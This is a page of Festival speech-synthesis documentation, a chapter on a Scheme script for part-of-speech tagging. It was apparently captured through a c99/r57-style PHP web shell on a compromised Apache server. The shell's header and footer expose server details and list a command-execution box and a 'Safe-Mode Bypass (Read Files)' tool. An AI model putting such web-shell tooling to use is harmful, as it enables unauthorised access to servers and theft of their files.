Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /usr/share/doc/festival-1.95/ drwxr-xr-x |
Viewing file: festival_29.html (4.83 KB) -rw-r--r-- Select action/file-type: (+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
29 ExamplesThis chapter contains some simple walkthrough examples of using Festival in various ways, not just as speech synthesizer 29.1 POS ExampleThis example shows how we can use part of the standard synthesis process to tokenize and tag a file of text. This section does not cover training and setting up a part of speech tag set (See section 16 POS tagging), only how to go about using the standard POS tagger on text. This example also shows how to use Festival as a simple scripting language, and how to modify various methods used during text to speech. The file `examples/text2pos' contains an executable shell script which will read arbitrary ascii text from standard input and produce words and their part of speech (one per line) on standard output.
A Festival script, like any other UNIX script, it must start with the
the characters #!/usr/local/bin/festival -script Note that the pathname may need to be different on your system Following this we have copious comments, to keep our lawyers happy, before we get into the real script.
The basic idea we use is that the tts process segments text into
utterances, those utterances are then passed to a list of functions, as
defined by the Scheme variable
The first function we define basically replaces the normal synthesis
function (define (find-pos utt) "Main function for processing TTS utterances. Predicts POS and prints words with their POS" (Token utt) (POS utt) )
The normal text-to-speech process first tokenizes the text splitting it
in to "sentences". The utterance type of these is The second function we define is one that will print out the words and parts of speech (define (output-pos utt) "Output the word/pos for each word in utt" (mapcar (lambda (pair) (format t "%l/%l\n" (car pair) (car (cdr pair)))) (utt.features utt 'Word '(name pos))))
This uses the
Our next job is to redefine the functions to be called
during text to speech. The variable (set! tts_hooks (list find-pos output-pos)) So that garbage collection messages do not appear on the screen we stop the message from being outputted by the following command (gc-status nil) The final stage is to start the tts process running on standard input. Because we have redefined what functions are to be run on the utterances, it will no longer generate speech but just predict part of speech and print it to standard output. (tts_file "-") Go to the first, previous, next, last section, table of contents. |
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0147 ]-- |